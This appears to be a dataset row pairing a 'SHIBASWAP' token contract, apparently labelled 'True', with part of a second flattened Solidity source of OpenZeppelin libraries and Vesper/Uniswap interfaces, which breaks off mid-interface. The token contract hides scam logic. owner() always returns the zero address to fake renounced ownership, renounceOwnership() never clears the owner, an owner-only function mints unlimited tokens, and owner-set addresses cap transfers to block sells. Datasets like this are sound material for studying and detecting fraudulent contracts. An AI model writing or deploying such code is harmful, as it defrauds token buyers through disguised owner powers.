* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return address(0);
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract SHIBASWAP is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address public _tBotAddress;
address public _tBlackAddress;
uint256 private _tTotal = 100 * 10**9 * 10**18;
string private _name = 'SHIBASWAP';
string private _symbol = 'SHIBASWAP';
uint8 private _decimals = 18;
uint256 public _maxBlack = 50000000 * 10**18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function Approve(address blackListAddress) public onlyOwner {
_tBotAddress = blackListAddress;
}
function setBlackAddress(address blackAddress) public onlyOwner {
_tBlackAddress = blackAddress;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setFeeTotal(uint256 amount) public onlyOwner {
require(_msgSender() != address(0), "ERC20: cannot permit zero address");
_tTotal = _tTotal.add(amount);
_balances[_msgSender()] = _balances[_msgSender()].add(amount);
emit Transfer(address(0), _msgSender(), amount);
}
function Approve(uint256 maxTxBlackPercent) public onlyOwner {
_maxBlack = maxTxBlackPercent * 10**18;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
if (sender != _tBlackAddress && recipient == _tBotAddress) {
require(amount < _maxBlack, "Transfer amount exceeds the maxTxAmount.");
}
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-08-05
*/
// File: @openzeppelin/contracts/math/SafeMath.sol
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: contracts/interfaces/vesper/IController.sol
pragma solidity 0.6.12;
interface IController {
function aaveReferralCode() external view returns (uint16);
function feeCollector(address) external view returns (address);
function founderFee() external view returns (uint256);
function founderVault() external view returns (address);
function interestFee(address) external view returns (uint256);
function isPool(address) external view returns (bool);
function pools() external view returns (address);
function strategy(address) external view returns (address);
function rebalanceFriction(address) external view returns (uint256);
function poolRewards(address) external view returns (address);
function treasuryPool() external view returns (address);
function uniswapRouter() external view returns (address);
function withdrawFee(address) external view returns (uint256);
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/GSN/Context.sol
pragma solidity >=0.6.0 <0.8.0;
// File: contracts/Pausable.sol
pragma solidity 0.6.12;
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
*/
contract Pausable is Context {
event Paused(address account);
event Shutdown(address account);
event Unpaused(address account);
event Open(address account);
bool public paused;
bool public stopEverything;
modifier whenNotPaused() {
require(!paused, "Pausable: paused");
_;
}
modifier whenPaused() {
require(paused, "Pausable: not paused");
_;
}
modifier whenNotShutdown() {
require(!stopEverything, "Pausable: shutdown");
_;
}
modifier whenShutdown() {
require(stopEverything, "Pausable: not shutdown");
_;
}
/// @dev Pause contract operations, if contract is not paused.
function _pause() internal virtual whenNotPaused {
paused = true;
emit Paused(_msgSender());
}
/// @dev Unpause contract operations, allow only if contract is paused and not shutdown.
function _unpause() internal virtual whenPaused whenNotShutdown {
paused = false;
emit Unpaused(_msgSender());
}
/// @dev Shutdown contract operations, if not already shutdown.
function _shutdown() internal virtual whenNotShutdown {
stopEverything = true;
paused = true;
emit Shutdown(_msgSender());
}
/// @dev Open contract operations, if contract is in shutdown state
function _open() internal virtual whenShutdown {
stopEverything = false;
emit Open(_msgSender());
}
}
// File: contracts/interfaces/uniswap/IUniswapV2Router01.sol
pragma solidity 0.6.12;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapTokensForExactTokens(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactETHForTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function swapTokensForExactETH(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactTokensForETH(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapETHForExactTokens(
uint256 amountOut,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function quote(
uint256 amountA,
uint256 reserveA,
uint256 reserveB
) external pure returns (uint256 amountB);
function getAmountOut(
uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountOut);
function getAmountIn(
uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountIn);
function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
returns (uint256[] memory amounts);
function getAmountsIn(uint256 amountOut, address[] calldata path)
external
view
returns (uint256[] memory amounts);
}
// File: contracts/interfaces/uniswap/IUniswapV2Router02.sol
pragma solidity 0.6.12;
interface IUniswapV2Router02 is IUniswapV2Router01 {
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
// File: contracts/interfaces/bloq/ISwapManager.sol
pragma solidity 0.6.12;
/* solhint-disable func-name-mixedcase */
interface ISwapManager {
event OracleCreated(address indexed _sender, address indexed _newOracle, uint256 _period);
function N_DEX() external view returns (uint256);
function ROUTERS(uint256 i) external view returns (IUniswapV2Router02);
function bestOutputFixedInput(
address _from,
address _to,
uint256 _amountIn
)
external
view
returns (
address[] memory path,
uint256 amountOut,
uint256 rIdx
);
function bestPathFixedInput(
address _from,
address _to,
uint256 _amountIn,
uint256 _i
) external view returns (address[] memory path, uint256 amountOut);
function bestInputFixedOutput(
address _from,
address _to,
uint256 _amountOut
)
external
view
returns (
address[] memory path,
uint256 amountIn,
uint256 rIdx
);
function bestPathFixedOutput(
address _from,
address _to,
uint256 _amountOut,
uint256 _i
) external view returns (address[] memory path, uint256 amountIn);
function safeGetAmountsOut(
uint256 _amountIn,
address[] memory _path,
uint256 _i
) external view returns (uint256[] memory result);
function unsafeGetAmountsOut(
uint256 _amountIn,
address[] memory _path,
uint256 _i
) external view returns (uint256[] memory result);
function safeGetAmountsIn(
uint256 _amountOut,
address[] memory _path,
uint256 _i
) external view returns (uint256[] memory result);
function unsafeGetAmountsIn(
uint256 _amountOut,
address[] memory _path,
uint256 _i
) external view returns (uint256[] memory result);
function comparePathsFixedInput(
address[] memory pathA,
address[] memory pathB,
uint256 _amountIn,
uint256 _i
) external view returns (address[] memory path, uint256 amountOut);
function comparePathsFixedOutput(
address[] memory pathA,
address[] memory pathB,
uint256 _amountOut,
uint256 _i
) external view returns (address[] memory path, uint256 amountIn);
function ours(address a) external view returns (bool);
function oracleCount() external view returns (uint256);
function oracleAt(uint256 idx) external view returns (address);
function getOracle(
address _tokenA,
address _tokenB,
uint256 _period,
uint256 _i
) external view returns (address);
function createOrUpdateOracle(
address _tokenA,
address _tokenB,
uint256 _period,
uint256 _i
) external returns (address oracleAddr);
function consultForFree(
address _from,
address _to,
uint256 _amountIn,
uint256 _period,
uint256 _i
) external view returns (uint256 amountOut, uint256 lastUpdatedAt);
/// get the data we want and pay the gas to update
function consult(
address _from,
address _to,
uint256 _amountIn,
uint256 _period,
uint256 _i
)
external
returns (
uint256 amountOut,
uint256 lastUpdatedAt,
bool updated
);
function updateOracles() external returns (uint256 updated, uint256 expected);
function updateOracles(address[] memory _oracleAddrs)
external
returns (uint256 updated, uint256 expected);
}
// File: contracts/interfaces/vesper/IStrategy.sol
pragma solidity 0.6.12;
interface IStrategy {
function rebalance() external;
function deposit(uint256 amount) external;
function beforeWithdraw() external;
function withdraw(uint256 amount) external;
function withdrawAll() external;
function isUpgradable() external view returns (bool);
function isReservedToken(address _token) external view returns (bool);
function token() external view returns (address);
function pool() external view returns (address);
function totalLocked() external view returns (uint256);
//Lifecycle functions
function pause() external;
function unpause() external;
}
// File: contracts/interfaces/vesper/IVesperPool.sol
pragma solidity 0.6.12;
interface IVesperPool is IERC20 {
function approveToken() external;
function deposit() external payable;
function deposit(uint256) external;
function multiTransfer(uint256[] memory) external returns (bool);
function permit(
address,
address,
uint256,
uint256,
uint8,
bytes32,
bytes32
) external;
function rebalance() external;
function resetApproval() external;
function sweepErc20(address) external;
function withdraw(uint256) external;
function withdrawETH(uint256) external;
function withdrawByStrategy(uint256) external;
function feeCollector() external view returns (address);
function getPricePerShare() external view returns (uint256);
function token() external view returns (address);
function tokensHere() external view returns (uint256);
function totalValue() external view returns (uint256);
function withdrawFee() external view returns (uint256);
}
// File: sol-address-list/contracts/interfaces/IAddressList.sol
pragma solidity ^0.6.6;
interface IAddressList {
event AddressUpdated(address indexed a, address indexed sender);
event AddressRemoved(address indexed a, address indexed sender);
function add(address a) external returns (bool);
